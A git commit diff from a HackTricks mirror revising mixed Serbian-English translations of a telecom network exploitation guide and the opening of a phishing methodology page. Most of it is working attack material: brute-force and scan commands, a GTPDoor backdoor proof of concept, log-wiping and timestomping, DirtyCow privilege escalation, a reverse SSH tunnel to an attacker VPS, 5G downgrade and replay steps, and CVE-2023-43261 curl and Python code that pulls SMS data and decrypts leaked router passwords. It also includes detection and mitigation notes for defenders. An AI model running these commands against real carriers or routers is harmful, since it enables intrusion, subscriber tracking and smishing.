mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Translated ['', 'src/generic-methodologies-and-resources/phishing-method
This commit is contained in:
		
							parent
							
								
									4e8621255f
								
							
						
					
					
						commit
						f9a580a3cc
					
				| @ -1,27 +1,27 @@ | ||||
| # Eksploatacija telekom mreža (GTP / Roaming Environments) | ||||
| # Telecom Network Exploitation (GTP / Roaming Environments) | ||||
| 
 | ||||
| {{#include ../../banners/hacktricks-training.md}} | ||||
| 
 | ||||
| > [!NOTE] | ||||
| > Mobilni core protokoli (GPRS Tunnelling Protocol – GTP) često prolaze kroz polu-pouzdane GRX/IPX roaming backbones. Pošto idu preko plain UDP sa gotovo nikakvom autentifikacijom, **bilo koja pozicija unutar telekom perimetra obično može direktno dostići core signalling plane**. Sledeće beleške prikupljaju ofanzivne trikove primećene u divljini protiv SGSN/GGSN, PGW/SGW i drugih EPC čvorova. | ||||
| > Protokoli mobilne jezgre (GPRS Tunnelling Protocol – GTP) često prolaze kroz polu-pouzdane GRX/IPX roaming backbones. Pošto koriste običan UDP sa gotovo nikakvom autentifikacijom, **bilo koji foothold unutar telekom perimetra obično može direktno dostići core signalling planes**. Sledeće beleške prikupljaju ofanzivne trikove zabeležene u stvarnom svetu protiv SGSN/GGSN, PGW/SGW i drugih EPC čvorova. | ||||
| 
 | ||||
| ## 1. Recon & Initial Access | ||||
| 
 | ||||
| ### 1.1  Default OSS / NE Accounts | ||||
| Iznenađujuće veliki broj mrežnih elemenata dobavljača dolazi sa hard-coded SSH/Telnet korisnicima kao što su `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Posvećeni wordlist dramatično povećava uspeh brute-force-a: | ||||
| ### 1.1  Podrazumevani OSS / NE nalozi | ||||
| Zapanjujuće veliki broj mrežnih elemenata dobavljača isporučuje se sa hard-coded SSH/Telnet korisničkim nalozima kao što su `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Posvećena wordlist dramatično povećava uspeh brute-force napada: | ||||
| ```bash | ||||
| hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt | ||||
| ``` | ||||
| Ako uređaj izlaže samo management VRF, prvo pivotirajte kroz jump host (pogledajte odeljak «SGSN Emu Tunnel» ispod). | ||||
| If the device exposes only a management VRF, pivot through a jump host first (see section «SGSN Emu Tunnel» below). | ||||
| 
 | ||||
| ### 1.2 Otkrivanje hostova unutar GRX/IPX | ||||
| Većina GRX operatora i dalje dozvoljava **ICMP echo** preko backbone-a. Kombinujte `masscan` sa ugrađenim `gtpv1` UDP sondama da brzo mapirate GTP-C slušaoce: | ||||
| ### 1.2  Otkrivanje hostova unutar GRX/IPX | ||||
| Većina GRX operatora i dalje dozvoljava **ICMP echo** preko backbone-a. Kombinujte `masscan` sa ugrađenim `gtpv1` UDP probes da brzo mapirate GTP-C slušače: | ||||
| ```bash | ||||
| masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55 | ||||
| ``` | ||||
| ## 2. Enumeracija pretplatnika – `cordscan` | ||||
| ## 2. Enumerating Subscribers – `cordscan` | ||||
| 
 | ||||
| Sledeći Go alat sastavlja pakete **GTP-C Create PDP Context Request** i beleži odgovore. Svaki odgovor otkriva trenutni **SGSN / MME** koji opslužuje upitani IMSI i, ponekad, posećeni PLMN pretplatnika. | ||||
| Sledeći Go alat kreira pakete **GTP-C Create PDP Context Request** i zapisuje odgovore. Svaki odgovor otkriva trenutni **SGSN / MME** koji opslužuje upitani IMSI i, ponekad, posećeni PLMN pretplatnika. | ||||
| ```bash | ||||
| # Build | ||||
| GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan | ||||
| @ -29,22 +29,22 @@ GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan | ||||
| # Usage (typical): | ||||
| ./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap | ||||
| ``` | ||||
| Ključne opcije: | ||||
| - `--imsi` IMSI ciljnog pretplatnika | ||||
| Key flags: | ||||
| - `--imsi` Ciljni pretplatnik IMSI | ||||
| - `--oper` Home / HNI (MCC+MNC) | ||||
| - `-w`      Zapiši raw packets u pcap | ||||
| - `-w`      Zapiši raw pakete u pcap | ||||
| 
 | ||||
| Važne konstante unutar binarnog fajla mogu se izmeniti da bi se obim skeniranja povećao: | ||||
| Važne konstante unutar binarnog fajla mogu se izmeniti da bi se povećao opseg skeniranja: | ||||
| ``` | ||||
| pingtimeout       = 3   // seconds before giving up | ||||
| pco               = 0x218080 | ||||
| common_tcp_ports  = "22,23,80,443,8080" | ||||
| ``` | ||||
| ## 3. Izvršavanje koda preko GTP – `GTPDoor` | ||||
| ## 3. Code Execution over GTP – `GTPDoor` | ||||
| 
 | ||||
| `GTPDoor` je mali ELF servis koji **veže UDP 2123 i parsira svaki dolazni GTP-C paket**. Kada payload počinje sa pre-shared tag-om, ostatak se dešifruje (AES-128-CBC) i izvršava preko `/bin/sh -c`. stdout/stderr se eksfiltriraju unutar **Echo Response** poruka tako da nikada nije uspostavljena izlazna sesija. | ||||
| `GTPDoor` je mali ELF servis koji **veže se za UDP 2123 i parsira svaki dolazni GTP-C paket**. Kada payload počinje pre-shared tagom, ostatak se dekriptuje (AES-128-CBC) i izvršava preko `/bin/sh -c`. stdout/stderr se eksfiltriraju unutar **Echo Response** poruka tako da se nikada ne uspostavlja spoljašnja sesija. | ||||
| 
 | ||||
| Minimalni PoC packet (Python): | ||||
| Minimalni PoC paket (Python): | ||||
| ```python | ||||
| import gtpc, Crypto.Cipher.AES as AES | ||||
| key = b"SixteenByteKey!" | ||||
| @ -53,39 +53,39 @@ enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00")) | ||||
| print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc)) | ||||
| ``` | ||||
| Detekcija: | ||||
| * bilo koji host koji šalje **unbalanced Echo Requests** prema SGSN IP adresama | ||||
| * bilo koji host koji šalje **unbalanced Echo Requests** ka SGSN IP-ovima | ||||
| * GTP version flag postavljen na 1 dok je message type = 1 (Echo) – odstupanje od specifikacije | ||||
| 
 | ||||
| ## 4. Pivoting Through the Core | ||||
| 
 | ||||
| ### 4.1  `sgsnemu` + SOCKS5 | ||||
| `OsmoGGSN` isporučuje SGSN emulator sposoban da **establish a PDP context towards a real GGSN/PGW**. Nakon pregovora, Linux dobija novi `tun0` interfejs dostupan sa roaming peer-a. | ||||
| `OsmoGGSN` isporučuje SGSN emulator koji može da **establish a PDP context towards a real GGSN/PGW**. Kada se to pregovori, Linux dobija novi `tun0` interfejs dostupan sa roaming peer-a. | ||||
| ```bash | ||||
| sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \ | ||||
| -APN internet -c 1 -d | ||||
| ip route add 172.16.0.0/12 dev tun0 | ||||
| microsocks -p 1080 &   # internal SOCKS proxy | ||||
| ``` | ||||
| With proper firewall hair-pinning, this tunnel bypasses signalling-only VLANs and lands you directly in the **sloj podataka**. | ||||
| Uz pravilno firewall hair-pinning, ovaj tunel zaobilazi signalling-only VLANs i dovodi vas direktno u **data plane**. | ||||
| 
 | ||||
| ### 4.2  SSH Reverse Tunnel over Port 53 | ||||
| DNS je skoro uvek otvoren u roaming infrastrukturi. Izložite internu SSH uslugu na vašem VPS-u koja sluša na :53 i povežite se kasnije iz kuće: | ||||
| DNS je skoro uvek otvoren u roaming infrastrukturnim okruženjima. Izložite internu SSH uslugu na vaš VPS koja osluškuje na :53 i vratite se kasnije iz kuće: | ||||
| ```bash | ||||
| ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com | ||||
| ``` | ||||
| Proverite da li je `GatewayPorts yes` omogućen na VPS-u. | ||||
| Proverite da li je `GatewayPorts yes` omogućeno na VPS-u. | ||||
| 
 | ||||
| ## 5. Tajni kanali | ||||
| ## 5. Skriveni kanali | ||||
| 
 | ||||
| | Kanal | Transport | Dekodiranje | Napomene | | ||||
| |---------|-----------|----------|-------| | ||||
| | ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | potpuno pasivan, bez odlaznog saobraćaja | | ||||
| | DNS – `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) enkodirano u oktetima A-record zapisa | posmatra `*.nodep` poddomen | | ||||
| | GTP – `GTPDoor` | UDP 2123 | AES-128-CBC blob u private IE | meša se sa legitimnim GTP-C saobraćajem | | ||||
| |-------|-----------|------------|----------| | ||||
| | ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | čisto pasivan listener, bez odlaznog saobraćaja | | ||||
| | DNS – `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) enkodirano u oktetima A-record zapisa | prati `*.nodep` poddomen | | ||||
| | GTP – `GTPDoor` | UDP 2123 | AES-128-CBC blob u privatnom IE | stapa se sa legitimnim GTP-C saobraćajem | | ||||
| 
 | ||||
| Svi implants implementiraju watchdogs koji **timestomp** njihove binarne fajlove i ponovo ih pokreću ako se sruše. | ||||
| Svi implants implementiraju watchdogs koji **timestomp** njihove binarne datoteke i re-spawn ako se sruše. | ||||
| 
 | ||||
| ## 6. Pregled tehnika izbegavanja detekcije | ||||
| ## 6. Defense Evasion Cheatsheet | ||||
| ```bash | ||||
| # Remove attacker IPs from wtmp | ||||
| utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp | ||||
| @ -100,7 +100,7 @@ printf '\0' > /proc/$$/comm    # appears as [kworker/1] | ||||
| touch -r /usr/bin/time /usr/bin/chargen   # timestomp | ||||
| setenforce 0                              # disable SELinux | ||||
| ``` | ||||
| ## 7. Eskalacija privilegija na Legacy NE | ||||
| ## 7. Privilege Escalation na zastarelom NE | ||||
| ```bash | ||||
| # DirtyCow – CVE-2016-5195 | ||||
| gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd | ||||
| @ -116,76 +116,76 @@ Savet za čišćenje: | ||||
| userdel firefart 2>/dev/null | ||||
| rm -f /tmp/sh ; history -c | ||||
| ``` | ||||
| ## 8. Set alata | ||||
| ## 8. Tool Box | ||||
| 
 | ||||
| * `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – custom tooling opisani u prethodnim sekcijama. | ||||
| * `FScan` : skeniranje intraneta po TCP portovima (`fscan -p 22,80,443 10.0.0.0/24`) | ||||
| * `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – custom tooling opisano u prethodnim sekcijama. | ||||
| * `FScan` : intranet TCP sweeps (`fscan -p 22,80,443 10.0.0.0/24`) | ||||
| * `Responder` : LLMNR/NBT-NS rogue WPAD | ||||
| * `Microsocks` + `ProxyChains` : lagani SOCKS5 pivoting | ||||
| * `Microsocks` + `ProxyChains` : lightweight SOCKS5 pivoting | ||||
| * `FRP` (≥0.37) : NAT traversal / asset bridging | ||||
| 
 | ||||
| ## 9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay | ||||
| 
 | ||||
| Procedura registracije u 5G ide preko NAS (Non-Access Stratum) na vrhu NGAP. Dok sigurnost NAS-a nije aktivirana preko Security Mode Command/Complete, inicijalne poruke nisu autentifikovane niti enkriptovane. Ovo pred-bezbednosno vreme omogućava više puteva napada kada možete da posmatrate ili menjate N2 saobraćaj (npr. on-path unutar core-a, lažni gNB, ili testbed). | ||||
| 5G procedura registracije se odvija preko NAS (Non-Access Stratum) na vrhu NGAP. Dokle god NAS security nije aktiviran putem Security Mode Command/Complete, inicijalne poruke nisu autentifikovane niti šifrovane. Ovo pre-security prozorsko stanje omogućava više puteva napada kad možete da posmatrate ili manipulišete N2 saobraćajem (npr. on-path unutar core-a, rogue gNB, ili testbed). | ||||
| 
 | ||||
| Tok registracije (pojednostavljeno): | ||||
| - Registration Request: UE šalje SUCI (šifrovani SUPI) i capabilities. | ||||
| Registration flow (simplified): | ||||
| - Registration Request: UE šalje SUCI (encrypted SUPI) i capabilities. | ||||
| - Authentication: AMF/AUSF šalju RAND/AUTN; UE vraća RES*. | ||||
| - Security Mode Command/Complete: pregovaraju se i aktiviraju NAS integrity i ciphering. | ||||
| - PDU Session Establishment: podešavanje IP/QoS. | ||||
| - Security Mode Command/Complete: NAS integrity i ciphering se pregovaraju i aktiviraju. | ||||
| - PDU Session Establishment: IP/QoS podešavanje. | ||||
| 
 | ||||
| Saveti za lab podešavanje (bez RF): | ||||
| - Core: Open5GS default deployment je dovoljan za reprodukciju toka. | ||||
| - UE: simulator ili test UE; dekodovati pomoću Wireshark. | ||||
| Lab setup tips (non-RF): | ||||
| - Core: Open5GS default deployment je dovoljan za reprodukciju flow-ova. | ||||
| - UE: simulator ili test UE; dekodujte koristeći Wireshark. | ||||
| - Active tooling: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly without bringing up a full rogue gNB). | ||||
| - Korisni display filteri u Wireshark: | ||||
| - Useful display filters in Wireshark: | ||||
| - ngap.procedure_code == 15 (InitialUEMessage) | ||||
| - nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request) | ||||
| 
 | ||||
| ### 9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI | ||||
| Očekivano: UE/USIM mora da šalje SUCI (SUPI enkriptovan javnim ključem home network-a). Pronalazak plaintext SUPI/IMSI u Registration Request ukazuje na propust privatnosti koji omogućava trajno praćenje pretplatnika. | ||||
| Expected: UE/USIM mora da šalje SUCI (SUPI šifrovan sa home-network public key). Nalazak plaintext SUPI/IMSI u Registration Request ukazuje na privatnosni defekt koji omogućava persistentno praćenje pretplatnika. | ||||
| 
 | ||||
| Kako testirati: | ||||
| - Presretnite prvu NAS poruku u InitialUEMessage i pregledajte Mobile Identity IE. | ||||
| - Wireshark brze provere: | ||||
| - Trebalo bi da dekodira kao SUCI, ne IMSI. | ||||
| - Primer filtera: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` bi trebalo da postoji; odsustvo plus prisustvo `imsi` ukazuje na leakage. | ||||
| How to test: | ||||
| - Capture the first NAS message in InitialUEMessage i ispitajte Mobile Identity IE. | ||||
| - Wireshark quick checks: | ||||
| - Trebalo bi da dekodira kao SUCI, a ne kao IMSI. | ||||
| - Primer filtera: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` treba da postoji; odsustvo plus prisustvo `imsi` ukazuje na curenje. | ||||
| 
 | ||||
| Šta prikupiti: | ||||
| - MCC/MNC/MSIN ako su izloženi; logovati po-UE i pratiti preko vremena/lokacija. | ||||
| What to collect: | ||||
| - MCC/MNC/MSIN ako su izloženi; logujte po-UE i pratite kroz vreme/locacije. | ||||
| 
 | ||||
| Mitigacija: | ||||
| - Primorati SUCI-only UEs/USIMs; alarmirati na bilo koji IMSI/SUPI u inicijalnom NAS-u. | ||||
| Mitigation: | ||||
| - Enforce SUCI-only UEs/USIMs; alert na bilo koji IMSI/SUPI u inicijalnom NAS. | ||||
| 
 | ||||
| ### 9.2 Capability bidding-down to null algorithms (EEA0/EIA0) | ||||
| Background: | ||||
| - UE advertises podržane EEA (encryption) i EIA (integrity) u UE Security Capability IE Registration Request-a. | ||||
| - UE advertises supported EEA (encryption) i EIA (integrity) u UE Security Capability IE Registration Request-a. | ||||
| - Uobičajene mape: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 su null algoritmi. | ||||
| 
 | ||||
| Problem: | ||||
| - Pošto Registration Request nije integrity zaštićen, on-path napadač može očistiti capability bitove kako bi prisilio izbor EEA0/EIA0 kasnije tokom Security Mode Command. Neki stack-ovi pogrešno dozvoljavaju null algoritme i van emergency servisa. | ||||
| Issue: | ||||
| - Pošto Registration Request nije integrity zaštićen, on-path napadač može da obriše capability bitove da prisili selekciju EEA0/EIA0 kasnije tokom Security Mode Command. Neki stack-ovi pogrešno dozvoljavaju null algoritme van emergency servisa. | ||||
| 
 | ||||
| Ofanzivni koraci: | ||||
| - Presretnite InitialUEMessage i izmenite NAS UE Security Capability da oglašava samo EEA0/EIA0. | ||||
| - Sa Sni5Gect, hook-ujte NAS poruku i iscribajte capability bitove pre prosljeđivanja. | ||||
| - Posmatrajte da li AMF prihvata null ciphers/integrity i završava Security Mode sa EEA0/EIA0. | ||||
| Offensive steps: | ||||
| - Intercept InitialUEMessage i modifikujte NAS UE Security Capability da reklamira samo EEA0/EIA0. | ||||
| - Sa Sni5Gect hook-ujte NAS poruku i zapatch-ujte capability bitove pre prosleđivanja. | ||||
| - Posmatrajte da li AMF prihvata null cipher/integrity i završava Security Mode sa EEA0/EIA0. | ||||
| 
 | ||||
| Verifikacija/vidljivost: | ||||
| Verification/visibility: | ||||
| - U Wireshark-u, potvrdite izabrane algoritme nakon Security Mode Command/Complete. | ||||
| - Primer izlaza pasivnog sniffera: | ||||
| - Example passive sniffer output: | ||||
| ``` | ||||
| Encyrption in use [EEA0] | ||||
| Integrity in use [EIA0, EIA1, EIA2] | ||||
| SUPI (MCC+MNC+MSIN) 9997000000001 | ||||
| ``` | ||||
| Mitigacije (obavezno): | ||||
| - Konfigurišite AMF/policy da odbija EEA0/EIA0 osim tamo gde je strogo propisano (npr. hitni pozivi). | ||||
| - Poželjno je primenjivati EEA2/EIA2 kao minimum; logujte i podignite alarm za svaki NAS security context koji pregovara null algorithms. | ||||
| Mere ublažavanja (obavezno): | ||||
| - Konfigurišite AMF/policy da odbija EEA0/EIA0 osim gde je strogo naloženo (npr. hitni pozivi). | ||||
| - Poželjno je primenjivati EEA2/EIA2 kao minimum; zabeležite i pokrenite alarm za svaki NAS security context koji pregovara null algoritme. | ||||
| 
 | ||||
| ### 9.3 Replay of initial Registration Request (pre-security NAS) | ||||
| Pošto initial NAS nema integritet i svežinu, uhvaćeni InitialUEMessage+Registration Request može biti replayed prema AMF. | ||||
| Pošto početni NAS nema integritet i svežinu, presretnuti InitialUEMessage+Registration Request mogu biti replayed na AMF. | ||||
| 
 | ||||
| PoC pravilo za 5GReplay za prosleđivanje odgovarajućih replays: | ||||
| PoC rule for 5GReplay to forward matching replays: | ||||
| ```xml | ||||
| <beginning> | ||||
| <property value="THEN" | ||||
| @ -209,31 +209,90 @@ boolean_expression="nas_5g.message_type == 65"/> | ||||
| </beginning> | ||||
| ``` | ||||
| What to observe: | ||||
| - Da li AMF prihvata replay i nastavlja sa autentikacijom; nedostatak validacije svežine/konteksta ukazuje na izloženost. | ||||
| - Da li AMF prihvata replay i nastavlja ka Authentication; lack of freshness/context validation ukazuje na izloženost. | ||||
| 
 | ||||
| Mitigations: | ||||
| - Sprovoditi zaštitu od replay-a / vezivanje konteksta na AMF; ograničiti stopu (rate-limit) i korelirati po GNB/UE. | ||||
| - Primeni replay protection/context binding na AMF; rate-limit i correlate po-GNB/UE. | ||||
| 
 | ||||
| ### 9.4 Tooling pointers (reproducible) | ||||
| - Open5GS: podignite AMF/SMF/UPF da emulirate core; posmatrajte N2 (NGAP) i NAS. | ||||
| - Wireshark: proverite dekodiranje NGAP/NAS; primenite gore navedene filtere da izolujete Registration. | ||||
| - 5GReplay: zabeležite registration, zatim replay-ujte specifične NGAP + NAS poruke prema pravilu. | ||||
| - Sni5Gect: live sniff/modify/inject NAS control-plane da prisilite null algoritme ili poremete sekvence autentikacije. | ||||
| - Open5GS: spin up an AMF/SMF/UPF to emulate core; observe N2 (NGAP) and NAS. | ||||
| - Wireshark: verify decodes of NGAP/NAS; apply the filters above to isolate Registration. | ||||
| - 5GReplay: capture a registration, then replay specific NGAP + NAS messages as per the rule. | ||||
| - Sni5Gect: live sniff/modify/inject NAS control-plane to coerce null algorithms or perturb authentication sequences. | ||||
| 
 | ||||
| ### 9.5 Defensive checklist | ||||
| - Kontinuirano pregledajte Registration Request na plaintext SUPI/IMSI; blokirajte uređaje/USIMs koji krše pravila. | ||||
| - Odbacujte EEA0/EIA0 osim u strogo definisanim hitnim procedurama; zahtevajte najmanje EEA2/EIA2. | ||||
| - Otkrivajte rogue ili pogrešno konfigurisanu infrastrukturu: neautorizovani gNB/AMF, neočekivani N2 peers. | ||||
| - Alarmirajte za NAS security modes koji rezultuju null algoritmima ili čestim replay-ovima InitialUEMessage. | ||||
| - Kontinuirano inspect Registration Request za plaintext SUPI/IMSI; block offending devices/USIMs. | ||||
| - Reject EEA0/EIA0 osim za striktno definisane emergency procedure; require at least EEA2/EIA2. | ||||
| - Detect rogue or misconfigured infrastructure: unauthorized gNB/AMF, unexpected N2 peers. | ||||
| - Alert on NAS security modes koji rezultuju null algorithms ili čestim replays of InitialUEMessage. | ||||
| 
 | ||||
| --- | ||||
| 
 | ||||
| ## 10. Industrial Cellular Routers – Unauthenticated SMS API Abuse (Milesight UR5X/UR32/UR35/UR41) and Credential Recovery (CVE-2023-43261) | ||||
| 
 | ||||
| Zloupotreba exposed web API-ja industrijskih cellular routers omogućava stealthy, carrier-origin smishing u velikoj skali. Milesight UR-series routers expose a JSON-RPC–style endpoint at `/cgi`. Kada je pogrešno konfigurisano, API se može query-ovati without authentication da listuje SMS inbox/outbox i, u nekim deployment-ima, da šalje SMS. | ||||
| 
 | ||||
| Typical unauthenticated requests (same structure for inbox/outbox): | ||||
| ```http | ||||
| POST /cgi HTTP/1.1 | ||||
| Host: <router> | ||||
| Content-Type: application/json | ||||
| 
 | ||||
| { "base": "query_outbox", "function": "query_outbox", "values": [ {"page":1,"per_page":50} ] } | ||||
| ``` | ||||
| 
 | ||||
| ```json | ||||
| { "base": "query_inbox", "function": "query_inbox", "values": [ {"page":1,"per_page":50} ] } | ||||
| ``` | ||||
| Odgovori sadrže polja kao što su `timestamp`, `content`, `phone_number` (E.164) i `status` (`success` ili `failed`). Ponavljana slanja sa statusom `failed` na isti broj često su napadačeve “capability checks” da potvrde da router/SIM može isporučiti pre masovnog slanja. | ||||
| 
 | ||||
| Primer curl komande za exfiltrate SMS metapodataka: | ||||
| ```bash | ||||
| curl -sk -X POST http://<router>/cgi \ | ||||
| -H 'Content-Type: application/json' \ | ||||
| -d '{"base":"query_outbox","function":"query_outbox","values":[{"page":1,"per_page":100}]}' | ||||
| ``` | ||||
| Beleške o auth artefaktima: | ||||
| - Neki saobraćaj može uključivati auth cookie, ali veliki deo izloženih uređaja odgovara bez ikakve autentikacije na `query_inbox`/`query_outbox` kada je management interfejs izložen Internetu. | ||||
| - U okruženjima koja zahtevaju auth, previously-leaked credentials (see below) vraćaju pristup. | ||||
| 
 | ||||
| Putanja oporavka kredencijala – CVE-2023-43261: | ||||
| - Pogođene familije: UR5X, UR32L, UR32, UR35, UR41 (pre v35.3.0.7). | ||||
| - Problem: web-served logs (npr. `httpd.log`) su dostupni bez autentikacije pod `/lang/log/` i sadrže admin login događaje sa lozinkom enkriptovanom korišćenjem hardkodovanog AES key/IV prisutnog u client-side JavaScript. | ||||
| - Praktičan pristup i dekript: | ||||
| ```bash | ||||
| curl -sk http://<router>/lang/log/httpd.log | sed -n '1,200p' | ||||
| # Look for entries like: {"username":"admin","password":"<base64>"} | ||||
| ``` | ||||
| Minimalni Python za dešifrovanje leaked lozinki (AES-128-CBC, hardcoded key/IV): | ||||
| ```python | ||||
| import base64 | ||||
| from Crypto.Cipher import AES | ||||
| from Crypto.Util.Padding import unpad | ||||
| KEY=b'1111111111111111'; IV=b'2222222222222222' | ||||
| enc_b64='...'  # value from httpd.log | ||||
| print(unpad(AES.new(KEY, AES.MODE_CBC, IV).decrypt(base64.b64decode(enc_b64)), AES.block_size).decode()) | ||||
| ``` | ||||
| Ideje za hunting i detekciju (mreža): | ||||
| - Alert na neautentifikovan `POST /cgi` čije JSON telo sadrži `base`/`function` postavljeno na `query_inbox` ili `query_outbox`. | ||||
| - Pratiti ponovljene `POST /cgi` burst-ove koji su praćeni `status":"failed"` unosima preko mnogo različitih brojeva sa iste source IP (capability testing). | ||||
| - Inventarizovati Internet-exposed Milesight routere; ograničiti management na VPN; onemogućiti SMS funkcije osim ako nisu potrebne; nadograditi na ≥ v35.3.0.7; rotirati kredencijale i pregledati SMS logove za nepoznata slanja. | ||||
| 
 | ||||
| Shodan/OSINT pivots (examples seen in the wild): | ||||
| - `http.html:"rt_title"` matches Milesight router panels. | ||||
| - Google dorking for exposed logs: `"/lang/log/system" ext:log`. | ||||
| 
 | ||||
| Operativni uticaj: korišćenje legitimnih carrier SIMs unutar routera daje vrlo visoku SMS deliverability/credibility za phishing, dok inbox/outbox exposure leaks sensitive metadata at scale. | ||||
| 
 | ||||
| --- | ||||
| 
 | ||||
| ## Detection Ideas | ||||
| 1. **Any device other than an SGSN/GGSN establishing Create PDP Context Requests**. | ||||
| 2. **Non-standard ports (53, 80, 443) receiving SSH handshakes** from internal IPs. | ||||
| 3. **Frequent Echo Requests without corresponding Echo Responses** – might indicate GTPDoor beacons. | ||||
| 4. **High rate of ICMP echo-reply traffic with large, non-zero identifier/sequence fields**. | ||||
| 5. 5G: **InitialUEMessage carrying NAS Registration Requests repeated from identical endpoints** (replay signal). | ||||
| 6. 5G: **NAS Security Mode negotiating EEA0/EIA0** outside emergency contexts. | ||||
| 1. **Bilo koji uređaj koji nije SGSN/GGSN koji uspostavlja Create PDP Context Requests**. | ||||
| 2. **Nestandardni portovi (53, 80, 443) koji primaju SSH handshakes** iz internih IP adresa. | ||||
| 3. **Česti Echo Requests bez odgovarajućih Echo Responses** – može ukazivati na GTPDoor beacone. | ||||
| 4. **Visok nivo ICMP echo-reply saobraćaja sa velikim, nenultim identifier/sequence poljima**. | ||||
| 5. 5G: **InitialUEMessage koji nosi NAS Registration Requests ponovljene sa istih endpoint-a** (replay signal). | ||||
| 6. 5G: **NAS Security Mode koji pregovara EEA0/EIA0 izvan emergency konteksta**. | ||||
| 
 | ||||
| ## References | ||||
| 
 | ||||
| @ -243,5 +302,8 @@ Mitigations: | ||||
| - [Demystifying 5G Security: Understanding the Registration Protocol](https://bishopfox.com/blog/demystifying-5g-security-understanding-the-registration-protocol) | ||||
| - 3GPP TS 24.501 – Non-Access-Stratum (NAS) protocol for 5GS | ||||
| - 3GPP TS 33.501 – Security architecture and procedures for 5G System | ||||
| - [Silent Smishing: The Hidden Abuse of Cellular Router APIs (Sekoia.io)](https://blog.sekoia.io/silent-smishing-the-hidden-abuse-of-cellular-router-apis/) | ||||
| - [CVE-2023-43261 – NVD](https://nvd.nist.gov/vuln/detail/CVE-2023-43261) | ||||
| - [CVE-2023-43261 PoC (win3zz)](https://github.com/win3zz/CVE-2023-43261) | ||||
| 
 | ||||
| {{#include ../../banners/hacktricks-training.md}} | ||||
|  | ||||
| @ -4,47 +4,47 @@ | ||||
| 
 | ||||
| ## Metodologija | ||||
| 
 | ||||
| 1. Recon žrtve | ||||
| 1. Izaberi **domen žrtve**. | ||||
| 2. Izvrši osnovnu web enumeraciju **pretražujući portale za prijavu** koje koristi žrtva i **odluči** koji ćete **imitirati**. | ||||
| 3. Koristi malo **OSINT** da **pronađeš e-mail adrese**. | ||||
| 1. Recon the victim | ||||
| 1. Izaberi **victim domain**. | ||||
| 2. Uradi osnovnu web enumeraciju **searching for login portals** koje koristi žrtva i **decide** koji ćeš **impersonate**. | ||||
| 3. Koristi **OSINT** da **find emails**. | ||||
| 2. Pripremi okruženje | ||||
| 1. **Kupi domen** koji ćeš koristiti za phishing procenu | ||||
| 2. **Konfiguriši zapise** vezane za email servis (SPF, DMARC, DKIM, rDNS) | ||||
| 1. **Buy the domain** koji ćeš koristiti za phishing procenu | ||||
| 2. **Configure the email service** related records (SPF, DMARC, DKIM, rDNS) | ||||
| 3. Konfiguriši VPS sa **gophish** | ||||
| 3. Pripremi kampanju | ||||
| 1. Pripremi **email šablon** | ||||
| 2. Pripremi **web stranicu** za krađu kredencijala | ||||
| 1. Pripremi **email template** | ||||
| 2. Pripremi **web page** za krađu credentials | ||||
| 4. Pokreni kampanju! | ||||
| 
 | ||||
| ## Generisanje sličnih naziva domena ili kupovina pouzdanog domena | ||||
| ## Generate similar domain names or buy a trusted domain | ||||
| 
 | ||||
| ### Tehnike varijacija naziva domena | ||||
| ### Domain Name Variation Techniques | ||||
| 
 | ||||
| - **Keyword**: Naziv domena **sadrži** važnu **ključnu reč** originalnog domena (npr. zelster.com-management.com). | ||||
| - **hypened subdomain**: Zameni **tačku crticom** u poddomeni (npr. www-zelster.com). | ||||
| - **New TLD**: Isti domen koristeći **novi TLD** (npr. zelster.org) | ||||
| - **Homoglyph**: **Zameni** slovo u nazivu domena sa **slovima koja izgledaju slično** (npr. zelfser.com). | ||||
| - **Keyword**: The domain name **contains** an important **keyword** of the original domain (e.g., zelster.com-management.com). | ||||
| - **hypened subdomain**: Change the **dot for a hyphen** of a subdomain (e.g., www-zelster.com). | ||||
| - **New TLD**: Same domain using a **new TLD** (e.g., zelster.org) | ||||
| - **Homoglyph**: It **replaces** a letter in the domain name with **letters that look similar** (e.g., zelfser.com). | ||||
| 
 | ||||
| 
 | ||||
| {{#ref}} | ||||
| homograph-attacks.md | ||||
| {{#endref}} | ||||
| - **Transposition:** **Zameni mesta** dvema slovima unutar naziva domena (npr. zelsetr.com). | ||||
| - **Singularization/Pluralization**: Dodaje ili uklanja “s” na kraju naziva domena (npr. zeltsers.com). | ||||
| - **Omission**: **Ukloni jedno** od slova iz naziva domena (npr. zelser.com). | ||||
| - **Repetition:** **Ponovi jedno** od slova u nazivu domena (npr. zeltsser.com). | ||||
